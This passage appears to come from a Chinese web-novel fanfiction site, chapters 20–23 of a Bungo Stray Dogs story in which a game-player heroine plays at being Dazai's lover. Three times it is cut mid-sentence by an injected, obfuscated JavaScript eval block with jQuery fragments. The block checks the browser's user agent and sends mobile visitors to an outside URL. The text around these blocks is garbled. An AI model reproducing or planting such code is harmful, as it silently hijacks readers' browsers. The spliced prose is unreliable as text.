但现在她把这些计划通通删除了,可能是出于恋人应该做的义务,也许只是她想这么回答:“我完全是为了太宰君才会来港.黑的。” 永末反过来,死死扣住了身边太宰的手指,强行拉过他的注意力。 表演出恋情到底应该怎么做呢?现在算是足够真,还是假得让人无所谓呢? 看到那双鸢色的眼中映出的自己,永末走神地想到。 “影响接他下班的工作,就不要交给我了吧。” 20.第20章 太宰似乎难得地不知道怎么接话,反而游戏的好感度提示先一步弹出来了。 【当前好感度:7…9…5…13…0…】 好感度不是恒定不变的。这些天的相处里头,太宰的好感度有时甚至能直冲到20左右,但基本上会在起伏之后重新归0。 太宰表现出来的样子很像小孩子,仿佛喜怒好恶都写着脸上,但从好感度的波动来看,他内心真实的情绪并不多。 所以即使现在,好感度又开始新一轮的a股曲线,永末也没报任何期待,心平气和地忽视掉好感度显示。 毕竟不管开头能蹿多高,结局都得是跌停。 看着他们的森鸥外没说话,永末觉得他如常的表情底下似乎有点隐隐的牙疼,但作为一个成熟的大人,他还是很快摆出不计较的宽容表情:“太宰君现在还不是干部,还不能收直属部下呢。” “我原本以为,永末小姐会更乐意成为中也的同伴……不过既然永末小姐没有想升职的意愿,暂时留在底层适应也未尝不可。”他圆滑地说道。 毕竟待遇不提升,也不妨碍他把一些有难度的任务掺进底层丟给她处理。 森鸥外不动声色地想道,人都已经在碗里了,谁能妨碍他物尽其用呢。 “不过永末小姐,为什么不愿意表露出自己拥有异能力呢?” 坐在主座上的人终于问出了这个问题。 他也终于摆出了跟港口mafia首领地位相称的表情,微笑着,颇具压迫力地望向她,而在桌边的金发小女孩,也用隐隐相似的目光一起看了过来。 大概是今天的任务中露馅的,也可能早就被观察到了,单纯是现在诈她也有可能。 永末心里边毫无波动,但理智提醒她现在最好低头,于是她慢半拍地低下头以示尊敬。 她理解森首领比起她为什么隐瞒,更想知道这份能力是什么:“只是不值一提的能力,能加速自身伤势的恢复速度而已。” 永末有点幽默地想到,如果现在森首领要求她当面演示,她也变不出利器。 “有试过能恢复哪种程度的伤势吗?”森鸥外眼瞳一闪,果然立即就问到点子上了。 大概是能说出“区区致命伤”的程度吧。 永末脑内想道,嘴上却只说,“如果是划破皮肤、接近骨折的伤势大概都能迅速恢复……但是再往下试的话,真的有致残致死的可能,作为异能力的尝试,就不划算了吧?” 森鸥外停顿了几秒才赞同似地点了点头。 永末觉得他大概也想到了一些残酷的用途,希望他现在是真的打消了那些想法。 “……永末小姐,有试过这个能力能对其他人使用吗?”森鸥外问出这句话的时候,声调起了一点不明显的变化,仿佛有点迫切。 永末听出来了但不太理解。 森鸥外接着毫无异样地说,“港口mafia可是一直很缺少医疗人才。” 永末却莫名觉得他其实很在意能治疗别人的异能力,错觉吗? “噗。”已经无聊地玩起她指甲的太宰嗤笑了一声,“不行呢。森先生。” 太宰仿佛在揭穿什么,又好像只是随口举例,“比起异能力,更像是特殊体质一样,比如吸血鬼变种什么的。” “森先生不信的话,可以让红叶姐试试看……欸,还要盘问多久呢,森先生,占用别人的约会时间可是超——没品的行为哦!” “太宰也到了这个年纪了……”森鸥外蜷起拳头举到唇边,遮住微妙的笑容。问完了想知道的事情,他虚情假意地找补,“本来还想着爱丽丝跟永末小姐的年纪差不多,可以玩到一起去,才想着叫永末君上来的。” “明明是林太郎想见尚夏酱的!才不要拿我当借口!” 旁听他们谈话的金发小女孩,不知不觉已经凑得很近了,听到这话,她活泼地直直扑在永末的身上,亲昵地揽住她的腰。 “林太郎也是!明明想要跟尚夏酱打好关系,就不要这么吓唬人啊!这几天我要跟尚夏酱玩,林太郎自己去玩换装游戏吧!” 小女孩老气横秋地开始指责首领,宛如一只养在首领身边的手握玄凤,啾啾几声就让紧张的氛围舒缓下来。 “不要啊!”森首领真的露出QAQ的表情,伤心欲绝地捂住心口。 这个前后反差让永末战术后仰。 “不过尚夏酱为什么要跟这个讨厌鬼约会啊?”拿捏着把永末当作屏障的分寸,金发小女孩凑到太宰和永末之间,好像女孩们夜谈一样悄声问道,“你们是怎么认识交往的?” 她的目光落在他们交握的手上,太宰不用细看就知道她的眼中发出了八卦的光芒。 想到这份八卦到底来自谁,他不由得感觉到一阵恶寒,不过这也同时激起了他的表演欲,“我跟小夏小姐,是一见钟情哦。” 太宰摆出深情款款的架势,对永末眨眨眼示意她接戏:“看到小夏小姐的第一眼,我就知道她命中注定是属于我的。” “……”永末稍微有点迟疑,低眉避开他的目光,随着说话才慢慢抬起眼睛重新直视他,“我见到太宰君的第一眼,就知道,太宰君会是我的……” 她说得很慢,似乎在斟酌语句,结果反而让这次表白好像真实存在一样,“……在劫难逃。” “……”太宰理智上还记得,永末说得那次见面,她甚至没有下水捞他的意思,但现在她说得竟然十足情真意切。 假话说一千遍,会变成真的吗? ……会变成能欺骗任何人,包括当事人的假话。 【当前好感度:0…20…0…】 “哎呀,没想到小夏小姐那个时候就这么想了……不过呢,细节就不必告诉你了哦爱丽丝。”太宰毫无异样地维系着笑容,突然出手作势要摸一把爱丽丝的脑袋。 永末顿时感觉腰上一轻,抱着她的小姑娘已经撒手窜出去了。 ……看起来是真的很不喜欢被摸头了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770744|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “林太郎!”爱丽丝惊慌地一头扎向桌边的首领,森首领带着一脸满足,发出各种夹子音哄她。 “不用管首领。”太宰嫌弃道,他摇了摇她的手,扯回她的注意,好像心情很好那样说道,“我们下班?” * 离开港口mafia很长一段路,他们都继续牵着手,直到太宰好像撒欢的猫一样,突然有兴趣去沿着河道的栏杆跳着走才松开。 ……如果相遇第一天他也是这么走路的,永末合理怀疑当时遇到的时候他是失足落海。 永末不做阻拦,随意他做出这样的危险行为,毕竟他摔下去的动作快不过她拉住他的动作。 她只是袖手跟着他往前走,随意地发散思绪。 之前在首领办公室的谈话没给她留下多余的紧迫感,最后离开的时候爱丽丝“尚夏酱有空要来一起玩啊”的邀请也没在她脑子里留下痕迹。 毕竟她完全清楚,在卡牌的介绍上,太宰治才是那个港口mafia首领。 也就是说在他变成青年样貌……不超过十年的时间里边,现在的首领森鸥外就得退位了。 她衷心祝愿这份退位没有以森鸥外的性命作为代价……有的话,她也不介意去参加葬礼。 永末反而想到了自己错过的酒会,她突然说道:“我们好像没有一起喝过酒。” “呲——” 身侧传来了摩擦声和坠落声,永末想都没想,直接一把拽住太宰,没让他自由落体变成水里的一道水花。 她的胳膊别在栏杆上,随着石头的刮擦磨出一点血痕,很快又随着时装效果的生效而消失,而太宰全程特别无辜地看她,好像刚被提出水的鲤鱼一样扑棱着,他一本正经,“小夏小姐,我听到了河流在召唤我。” 永末本来想直接把他拉上来的,看到这个表情,她突然有了一点这是他故意为之的预感。 ……就好像他不想跟她顺着喝酒的话头,有聊下去的可能性,所以才做出这种危险的举动打断。 喝酒是什么禁止事项吗?永末微妙地想到法律规定未成年人不能饮酒……太宰是这么遵纪守法的人吗? 她本来不打算对他抱有太多探究之心,因为如果真的往下挖掘,就不得不触碰到好感0的冰冷现实,但现在她改变了主意。 “太宰君。”离开人前,只有他们两人的时候,谎言的面具就不用特意带上,喜欢也不用努力演绎出来,永末放纵了自己的刻薄,“虽然我很想忽视掉的……但是你身上的‘敏感点’着实有点太多了。” “欸~?小夏小姐怎么突然说这种话……”太宰发出明显装傻的声音,永末也不介意把话说得更明白一点。 “听到我说到喝酒,你是想到了谁?” 永末没有故意折磨人的习惯,于是还是在尽力把人拉上来,在太宰不怎么配合的情况下,她不得不最后以拥抱的姿势把他扯过栏杆。 “有时候你好像在透过我看其他人……你是在看谁?” 21.第21章 太宰沉甸甸地压在她的手臂上,隔着单薄的胸腔,心脏的震动仿佛可以随着相连的手臂传递到她的身上。 他不动的时候是不是比乱动要沉……? 但比起这个年纪的少年应该有的分量,其实还是轻太多了…… ……这个人是不是还没有她重? 并不是,还是比她重的。事实证明了这一点。 永末稍稍有点走神时,手中猛地一空。太宰在腿搭上栏杆时,概率极小的倒霉事故发生了。 被当作支点的栏杆突然松动,石墩和钢铁的接缝断裂,少年人的体重猛地一换位置差点脱手而出,再加上栏杆的重量,她的身体随着两人重心的偏移,猝不及防地失重往前一沉,没有抵住重力,他们两人便沿着河岸直接往下滚下去。 “咚,噔。砰。滋……”石墩落水和人体翻下去的声音几乎重合。最后一声是她猛地伸手,试图把他们落点变成河边绿化的声音。 好险…差点双双坠河了。停滞在距离河流一步之遥的草丛深处,永末松了口气。 不对……这个姿势…… “……”永末睁大眼睛,看着压在她身上的太宰,脸上依旧是缺乏表情的平静。 宛如少女漫中的剧情一样,太宰一手撑在了她的肩头,另一只手护住了她的后脑,他们交叠地倒在草地上。 但在这种暧昧的姿势之下,真实情况是太宰正屈膝顶在她的腹部,用膝盖和体重优势,压制住了身下永末起身的动作空间。 ……好像被利用了好心。永末模模糊糊地意识到。 在两人一起摔下去,即将落地前,其实她完全有能力在空中翻过身让太宰变成两人中的肉垫的……只是在那个时刻她迟疑了一下。 毕竟从血条的厚薄程度来说,他俩不能同日而语,她垫一下太宰,他们都没有大碍,太宰垫一下她……很难说会不会哪里骨裂了。 但好像对方连这份潜意识里的迟疑都计算进去了。 明明他们之间更加脆皮的是他,永末保持着宛如死者的平淡表情想道。 现在要移动身体起来,就得先把身上压住的太宰掀下去,但她就算不动也能闻得到血腥味。 那是现在撑在她耳侧的太宰的手。 即使有缠过绷带,在刚刚的摔倒过程中,他接触地面的那只手,依旧脆弱地被摩擦出了血痕。 但太宰似乎完全没有痛觉地微笑着,他虚虚收回笼在她脑后的手,顺着她的后颈摸向她的胳膊。 在被触及到脖子这种要害的时候,永末本能地紧绷起来了,涣散的注意也重新集中在他身上。 太宰没有停留在危险的要害,他只是轻轻地、好像玩笑一样捏住了她的手腕,摩挲着她之前在栏杆上擦伤的部位,温柔地叹气。 “唉……小夏小姐,我也没有问过你,你的能力并不是异能力,为什么要说成是异能……这份能力的本质应该是什么,真实的异能力又是什么……这些问题呀。” “所以小夏小姐为什么要突然问出那些话呢……?” 为什么我们不能这么虚幻地,隔着这面名为恋人的镜子,跳完这只交际舞呢? 刚刚的事情并不完全是意外,而是他在意外发生时火光电石间计算好的故意……不然他刚刚配合一点,根本不会摔下去……总不能是因为他的体术真的糟糕到了这个地步吧……? 永末不能理解。 这种单纯赌别人内心,一个操作不好反而会祸及自身的行为,为什么他随随便便就能做出来呢? 就好像他觉得自己是什么完全不要紧的筹码一样。 “……”永末一动不动地注视着他,连同他脸上虚假的笑容一并纳入眼中。 因为刚刚的问题,他好像有点生气了。 ……是在对她生气吗?因为她不礼貌地随随便便伸手,触碰到“太宰”这个人不愿意被探知到的地方了吗? ……已经到了可以对她生气的程度了吗? “我还以为……太宰君打算用那种敷衍人的体贴,一直没有底线地扮演恋人的角色呢……”永末慢慢地说道。 “不管我做出什么失礼的事,向太宰君提出多过分的请求,说出什么闹脾气的话,太宰君都会用‘喜欢’这个理由包容下我呢。” 永末努力去掉了言语中的讽刺语气,但有时候直接揭露出真实也会很像嘲讽。 她依旧没有挣扎,好像一只被他钉死在地面的蓝色蝴蝶,但她并不急于挣脱他的束缚,因为她不在网中。 永末虚虚地伸手点了点他左手处晕开一层暗色的绷带,“太宰君,我不喜欢你受无谓的伤……明明你说过自己讨厌不必要的痛苦……现在又是想从中证明什么吗?” “我问出那些话,是因为想得到一点你的‘真实’。” 被压制在下方的少女,理所当然地说着,好像在说什么世人皆知的真理。 明明连自己对“爱”的意义都还一窍不通,只是在把世界上其他人对于这个玩意的陈词滥调当作真实复述。 ……为什么她就能如此笃信呢? 少女嘴唇开合,做下宣判: “太宰君,你不能用伪造的自己去谈论‘爱’。” 话音落下,永末翻身而起。 虽然太宰比她略重一点,其实也压不住真的要起来的她,这不是男女体质的差异,这是普通人和鬼王、和呼吸法剑士的差异。 太宰身形一晃,不知为何没有松手,于是永末直起腰坐起来时,他们反而是真的亲密无间了。 他的手搭在她的肩头、另一只手缠着她的手臂,是近在咫尺,呼吸相闻的距离了。 现在又是一个黄昏,跟初遇时分相似的黄昏……黄昏确实很适合被称作逢魔时刻。 晚霞昏黄的橙色、河水散射出的紫色光晕、比天黑先亮起一步的路灯,各种颜色混杂成一种晦涩的复杂色调,成为他们倒映在彼此眼中的自己,小小的背景注脚。 在这种氛围下,就好像他们能看见不应该被暴露出来的,那个不堪的自己一样。 无所遁形的丑陋……和真实。 少女一眨不眨地看着他,那双比起人类更像人偶的眼睛,玻璃一样泛着蓝光,构成这些混乱颜色中,最失真的那一抹色调。 好像他小时候过家家时假装能对话的好朋友,少女……人偶冰冷冷地翕动嘴唇: “你愿意告诉我吗?太宰君。” 逢魔时刻,是不是就是因为会有一个瞬间,身边的人在这样的场面下,诞生了妖魔一样蛊惑人心的魅力呢。 “……………我…”沉默良久,太宰开口了,好像第一次学会说话那样笨拙,他不知道自己为什么突然想开口,只知道自己可能随时都不想再继续说,“……应该有一个朋友的……” “…………”几秒的沉默之后,太宰用在说陌生人的语气补充,“两个。” 永末没有问“为什么是应该”,也没有问“为什么要纠结一个还是两个”,她用若有所思的口吻说道,“……所以你们会一起喝酒?” 如果只是因为这种理由才不愿意聊喝酒的话题……就好像这份回忆珍贵到必须珍藏,不能被任何其他人污染,甚至包括他自己一样。 “不会。”太宰没有迟疑地说道。 ……和他们喝酒的不是我。 他没说出这句话,太宰微微笑了一下,流转的眼中波光粼粼,在这个瞬间有点叫永末触目惊心的美。 他转开看向太阳坠落的河道,神色轻盈地看了一会,不知道在想什么。 “至于说……你觉得我从你身上寻找其他人的事……” 太宰说到这里,突然话锋一转。 “小夏小姐,你觉得,如果在同一个地方长大,因为同一个理由诞生,遭遇了一些大差不差的故事,遇到了基本相似的人……就好像游戏中选择了不同选项分支的角色……在不同的选择线中,他们是独立存在的吗?” “……谁能够区分呢?怎么样才算是‘独一无二’的呢?” 太宰好像在问询她,又好像在问询自己。 永末虽然不能理解他这个问题的转折,但她没有质疑,只是抬头跟着他转开的方向,看了眼天空。 在他们说话间,天空的颜色已经沉了下去,无垠的夜色逐渐笼罩大地。 ……就算是此时此刻谈天的时间和场合,跟他们初遇时相比,也不能算是“独一无二”吧。 而如果把视野投向太阳系、银河系和宇宙,地球难道就足够“独一无二”吗? “……我足够特别吗?”永末平静地问,“在你的判断中,我足够独一无二吗?” 她没有怀疑自己的特殊性,开玩笑,作为玩家她肯定只此一家,别无分号。 “如果你觉得我是特别的那一个,那么跟我相遇的太宰君,还要怀疑自己不够特殊吗?” “……唉。”太宰用真是那你没办法的语气,叹出亦真亦假的哀叹,他又跳跃式地回到了之前她问的那个问题,永末不知道他是不是在说谎:“……你有时候天马行空又直入本质的说话方式,跟我那个朋友会有点相似。” “只有这一点偶尔会让我有点既视感……”他用奇妙的语气说道,“其他的你……我并不认识。” “我也只认识,此刻在我跟前的小夏小姐而已……” ……我们是全新的故事,所以你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786622|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我未解的谜团。 虽然其实有所耳闻……太宰脸上没有波动,心里想到。 如果说,有“书”的平行世界,宛如河流一样层叠分出不同的支流,在这个世界之上,肯定有主河道,而在这个世界之下,肯定也有更细弱的小分支。 那么,他所能见到的世界,是所有的世界吗……存在有他看不见的世界吗? ……存在的。 如果有两个手握“书”的太宰,他们还能互相看到,并且能随意根据对面世界的未来改变自己世界……那早就诞生特异点了,世界早就毁灭了。 ……所以必然存在有,他看不见对方,但对方能观测到他的世界的,另一个太宰。 证据就是,他在触碰到“书”的那个时刻,收到的对方借由“书”传递来的,看好戏的留言。 真是不幸,为什么我偏偏是无法看见的那一个呢。 想到这里,太宰心情有点阴郁起来了。 永末则是有点宕机地沉默了。 她脑子里边反复弹窗的是:“我的恋人,把我当作他挚友的代餐吃???” 太宰这句话的重点并不在这里。 “其实你跟我那个朋友,如果先一步相遇……”在稍微静默了一会后,太宰克制不住地说出这半句话,但后边的话语他咬住了没有继续说。 永末猜不透他到底想说些什么,她从混乱的思绪中回归现实,稍微迟疑还是问出来了,“很像吗?……我跟你说的那个朋友……” “……”太宰看了她两眼,仿佛突然意识到这可能是个送命题,他的眼神顿时清澈万分,“我当然知道小夏小姐和他是完全不同的人……” 在第二次见面,你把市浦桑一刀两段的时候就分出来了…… “我也不会随随便便地把你跟他混为一谈吧,那不是对你们两个人双方的侮辱吗……!”太宰大声喵喵喵,义正言辞到永末都觉得有点假了。 “就算是相同的人,我也知道不应该把没有发生……小夏小姐觉得没有发生的事情代入的!” 说倒这里的时候,太宰突然有点莫名的心虚起来,但他立即抛开了这点并不存在的良心,自如地伸手过来要勾永末的手指,“我全都交代啦,小夏小姐不觉得应该要奖励一下我吗?” 永末先一步捏住了他的手腕,阻拦了这次牵手。 “……小夏小姐?”太宰有点难得的迟疑了。 在这个时候遭遇打击,他可能真的会觉得有点疼痛了。 也许不应该…… “伤口都还没好……就打算乱动吗?”永末轻轻晃了晃他透出血色的绷带,太宰好像被戳了一下肚子的小动物那样瑟缩了。 “而且太宰君说是全部……我忘记掉的,属于我们的故事开端,太宰君还没有告诉我呢。”永末轻轻牵住他的手腕,拉着他往前走去。 “啊……那个啊,第一次见到小夏小姐的事情吗……那个还是让我暂时作为秘密保留吧……小夏小姐又打算什么时候,告诉我一些小夏小姐的秘密呢?” 太宰很快重新展露出暧昧不清的微笑。 秘密……攻略对象……游戏的事情……吗? ……这个真的可以说吗? 还是那些连她都还不知道的过往……? 永末稍加思索,“有些东西……我更想太宰君自己来看。有些东西,我现在还没有想起来。” “……啊,我还以为是秘密交换的时刻,结果小夏小姐耍赖吗?”太宰懒散地被她圈住手,发出沮丧的声音。 “好吧,那我会去自己找到谜底的。”他意外深长地说道,随即又转回了日常的语气。 “那小夏小姐打算怎么补偿我?或者当作奖励也可以……我也想知道小夏小姐的事啊。” “恢复力确实不是异能力……但真的异能力我现在还没发现触发条件。”永末想了想,挑挑拣拣地选出一条说道。 “奖励……我请太宰君一起吃夜宵?就算吃怀石料理,全都点螃蟹也可以哦。其他不够的太宰君记账吧。” “记账吗……好吧……话说,小夏小姐,我们这是要去哪里?” “回家给你先消毒重新缠一下绷带,然后出门吃夜宵。” “喔——” 夜晚平稳安逸地度过了,跟之前的每一天一样。这次的事情只造成了两个后遗症。 第一个让永末失笑,太宰第二天睡醒就从枕边失踪了,她两天没遇见人后才发现自己好像在被特意避开……她靠着系统硬是“偶遇”了两次对方,才算是渐渐回归了平时的相处。 而另一个,则只有永末自己知道。 【当前好感度:30】 22.第22章 几个月后,两人居的临时公寓。 永末举起犹带寒光的刀刃,锋利的刀口对准了什么,她的眼中流露出评估和考量的神情,脸上一如既往什么表情都没有。 太宰也同样凝视着这点寒光,可疑地沉默着。 “咔嚓。” 肥厚的青椒随着刀锋游刃有余的分割,变成了精确的两半。 以太宰的眼力也没有区分出两块上大小的不同。 在永末把目光投向他的时候,他仿佛忍受着巨大的悲伤一样,露出沉痛的表情,指向了左边的那枚,“这块……小夏小姐,真的不可以不吃吗?” 在他进行选择时,永末已经趁着青椒不注意,把它刷刷刷片切成薄薄的细丝,拢成均匀的两碗。 “不行。”她冷酷无情地说道,“昨天的时候说好了……‘想吃小夏小姐早起做的爱心便当,不管做什么我都会好好吃完的’……这是太宰君自己说的。” “而且在我说青椒也可以吗,太宰君还一定要缠着我说,作为公平起见,要我陪着一起吃。” “欸~我也说了,‘或者小夏小姐想吃吃看我做的爱心便当吗?’,是小夏小姐不想吃我做的饭……”太宰发出幽怨的哀叹,用仿佛很委屈的眼神看向她,好像她是什么铁石心肠的渣男。 那是因为本来设置了静音的系统,听到这话都立即在我脑子里边震动得像个尖叫鸡一样……你做的饭一定有什么大问题吧! 永末没有作答,只是面无表情,掂着菜刀,微微对他转过脸。 太宰立即做出举手投降的姿态,退后了两步,他换回了正常的声调,乖巧地把目光投向锅里,“……我会好好吃掉哒,小夏小姐。” 放油下锅,日常的烟火气随着青椒丝被翻炒,在厨房里边染上了一股呛人的辛辣。 气味并不浓郁,永末觉得横滨的青椒都更偏向甜椒的品种,至少用这个东西是调不出第一天他们吃的那种地狱辣咖喱的。 其实永末不会做饭。比起亲自动手做饭,她更擅长直接带人从庙会小吃街的街头一路逛到街尾,她负责陪吃陪完、解决掉身边人吃不动的部分,以及付钱。 这也是她这几个月的业余活动,鬼杀队时装的特效导致她能高效恢复身体损伤,但等价交换需要她补充大额的热量,每逢休息日,她就会随机挑选一名幸运同伴进行美食街吃喝玩乐一条龙。 好消息是以她握刀的熟练程度,外加脑内自带的系统可以同步播报菜谱,第一次动手实践也不会做出很糟糕的成品。 ……不过想做出加好感的料理,也不会选青椒就是了。 十分钟后,炮制过后更显得青翠的细丝被花哨地摆了两盘,永末把筷子递给跟前的太宰,言简意赅,“请。” 太宰在她下厨时一直在她身边徘徊不去,还不知道出于什么心理,露出了类似温柔的微表情。 但在被强塞了筷子后,他顿时就像身上黏了刺一样,开始左顾右盼地找起借口来了。 “小夏小姐,不是还说今天跟人有约吗?现在会不会迟……唔。” 永末可不管这啊那啊的,她动如脱兔地一把拽过太宰的领子,掐着他的脖子就给他强灌了一口青椒。 “……本来是担心会不会迟到的。” 永末亲切友善地看着太宰的脸被难吃到整个皱了,把他自己的话原样奉还。 “但是怎么能不先履行跟我亲爱的太宰君的约定呢?” “唔唔唔。”不管是表演还是真的被哽住了,太宰在她的臂弯里头好像晴天娃娃一样柔软地撒开身体,做出QAQ的生动表情。 永末无动于衷,她夹起剩下的部分,“太宰君自己选的那份,不会浪费的吧…?” …… “……所以味道怎么样?”永末做完恶魔的行径,自己也有几分好奇起来了。 “就感想来说……有点太过健康了。”闹腾了一场之后,太宰成功脱离魔爪。 但在永末松手之后他反而没逃走,现在脑袋还赖在她的肩头,好像一条被挂起的青花鱼。 永末自己试了一口。 ……就是普通青椒的味道。真相让人失望。 “小夏小姐……其实爱心便当,精髓主要在于便当吧?” 太宰转过脸,bulingbuling地对她眨眼,永末甚至感觉得到他毛绒绒的头发蹭到了脖子。 他煞有介事地畅想,“那种在下属跟前掏出来,然后在他们羡慕的目光下介绍说,‘这是我可爱的恋人特别为我准备的便当,你们有吗?’的感觉,才是精髓啊小夏小姐!” 很好的画面,让旁观者胃部旋转。永末想。更妙的是他的下属说不定会在哪次任务变成她的同事。 感觉那会是很社死的地狱画面。 但是……她稍稍侧过脸,看到太宰两眼放光,对她wink了一下。 那其中既有真的觉得那副画面会很有意思的恶趣味,又有把这份假想堆到她跟前,看到她表情变化的恶趣味。 我没救了,永末想道,我居然觉得他这样也很可爱。 “太宰君想的话,帮你做几回也行。”用时装效果暂时减弱了味觉,三口两口直接解决掉她部分的青椒,永末这么说着。 她真的想了一下这种展开的执行可能,“不过不能太多次,我讨厌做饭。而且别人习惯了就没那么有趣了对吧?” “欸?”太宰呆了一下,随口说的玩笑话也被人当作愿望去认真实现,他偶尔也会感觉这种纵容程度有点过头了。 他还没有来得及展开第二回合的表演,永末已经无情地推开肩膀上的脑袋,她低头看了看腕表,“我要出去了。” 少女似乎不觉得自己说出了什么值得加分的话,在离开前伸手挠了下他脸侧的软肉,没有特别的意义,大概只是一个习以为常的招呼。 推门要走的时候,她好像想到了什么,从门后重新回头,“要带什么回家吗?太宰君。” ……日常到让人无法想象对话者是谁的话题,他什么时候开始在曾经毫不关心的事物上浪费时间。 一天接着一天往下续接的,在没有被打碎之前,好像能永远这么下去的恋情游戏…… 怎么会持续这么久还没有厌倦呢? 没关系……只要在表演结束后,依旧还能鼓掌欢呼下台就好。 “绷带的话……好像还剩下两卷……”太宰脑子里转着天马行空的念头,口中却是不假思索地说道。 “我知道了,会路过诊所的。”少女说道,却没有立即关上门,而是维持着原先的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792865|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿势,定定地看向他。 ……他的表情有什么疏漏吗?太宰脸上没有带出来,但心里不知为何生出一点犹疑。 什么都没有发生,质疑也没有。 “嗒。”房门轻轻搁上,也隔断了太宰脸上的表情,褪去多余的表情之后,他给人的感觉比永末更加虚无。 “滴——滴滴——”口袋里有什么东西响了一声,只响了一声。 特殊的铃声,有着特别的含义。 太宰拥有所有平行时空这么广阔的视域,有些几乎一点会发生的事件,当然可以事先监控起来。 这声铃声,意味着有什么先兆的信息网被触动了。 ……就这样从这个不值一提的,也许还算美梦的故事中清醒吧,这声音这么悄悄对他说道。 不论早些还是晚些,你都是要醒来的。 太宰没有立即去掏出手机处理,在他望向门口的那几分钟,连他自己也不确定自己在想什么。 不过很快,他就好像突然回神那样,若无其事地掏出手机,屏幕的冷光照在他的脸上。 那是—— * 永末看向三楼,这是类似居民楼的结构,往下是一间普通的咖啡厅。 武装侦探社是在三楼还是四楼,她随意地想着,并不急迫。 她最近几个月的生活过得很顺利,生活里边最大的意外不过是太宰偶尔挖给她的陷阱,有时候她跳过去了,有时候她栽下去不得不呼叫外援,并不让人讨厌,大部分简单得好像是个俏皮的玩笑。 工作里头,虽然港.黑首领给她的任务掺了点水分,但她连自己也不记得,但很娴熟地掌握着摸鱼的工作技巧,尚且还能对付过去,就是很遗憾每每都不得不错过中也君邀请的酒会。 一切顺利地好像是真实的世界,而不是所谓的游戏。 永末已经把好感度提示都关闭很久了,在破0之后,太宰的好感度一直在以每周+1或者+2的速度缓慢增加,有时候又会浮动地往下跌一点,看久了让人有点说不出的头疼。 她意识到了,自己大概是很难真的去做出什么类似攻略的行为,就连每天做饭给对方吃这种小事她都做不到。 她能做的,大概只能把真实的自己剖给对方看,能看出多少,能中意多少,愿意接近多少……这都是太宰才能知道的事。 好消息是看好感度的浮动,他并不讨厌她的真实,而且太宰似乎是那种会逐渐日久生情的类型,虽然看起来一副格外难以取悦的样子,但意外地会记住生活里边微小的点点滴滴。 永末有时候会有点奇怪他莫名其妙地表露出来的那种受宠若惊的退缩态度,就好像从小到大他都没有建立过健康的感情关系一样。 坏消息是……永末也分不清他中意的是哪个部分,有没有特别讨厌只是现在还没有发觉的部分……他们之间埋藏着很多大大小小的地雷,等到地雷引爆,虚假的地基被掀开,她也不知道到底应该怎么处理剩下的废墟。 ……不过那也是可以之后再想的事了。 永末抬头看了看眼前的建筑,心态平稳地往上走去。 她现在正准备第不知道多少次,对小侦探发出美食街逛吃一条龙的邀请。 ……虽然之前没有一次成功过。 23.第23章 这事说起来是我的错。永末微妙地想着,按下了电梯的按钮。 小侦探曾经给她递出过一个口头offer,她后来才意识到那是多可贵的邀请,本来想着应该在什么地方回报一下对方的……结果在做之前好像就把这事搞砸了。 那个时候她正在下班状态,离开之前顺便拐走了路过的中也前辈一起吃个便饭……不然他竟然打算去义务加班……! 那段时间,永末还没有跟中也在训练场里边,互相用拳头跟对方的脸进行过亲密接触,但中原中也总是会在空的时候路过看她一眼,好像她是随时可能背上包裹奔向诗与远方的旅行青蛙。 不知道他们过去的关系到底如何,总之在那个时候,永末深刻怀疑,不管她提出怎么过分的要求,中也都会怀抱着她不清楚的心情答应她,还会忧心她要的太少了。 所以她问出“要一起吃饭吗”,就没考虑过会有别的回答。 “您好,两位的鹅肝寿司、天妇罗、盐渍青花鱼已经好了!抱歉其他菜品还需要再等几分钟!”服务生说着,把不同色系的小碟放在桌案,逐渐排满了两人间的空间。 很寻常的料理店,永末没有选高档餐厅,她浏览菜单时甚至看到了之前被强烈避雷的樱饼在打折,犹疑着要不要明知故犯试一试……或者骗中也吃一口。 “噗——” 永末抬头,看向听到最后一道菜品的时候被麦茶呛到的中也。他注意到她的目光强忍着失礼,捂住嘴对她连连摆手没咳出声,缓过了这一波才说道,“……我去一下洗手间。” “……不用问我?”永末缓缓转着茶碗,往身后看了一眼,视野中有什么东西害怕被发现地缩了一下。 虽然中也这么说,永末知道他的离席其实是去事先结账……不过在点餐的时候,她已经直接用脑内的系统付过款了。 邀请中也的时候,她就挺想看一眼对方偷偷去结账却发现付过了会是什么表情。 那种对于她来说,来源颇为陌生的照料,落在他自己身上会是什么反应呢? ……但现在永末有了更重要的事情,她在中也离席之后也起身离开座位,仿佛也要去洗手间那样汇入食客中,但在身影被遮挡住后,她放轻脚步声,步伐一转,绕向了另一侧。 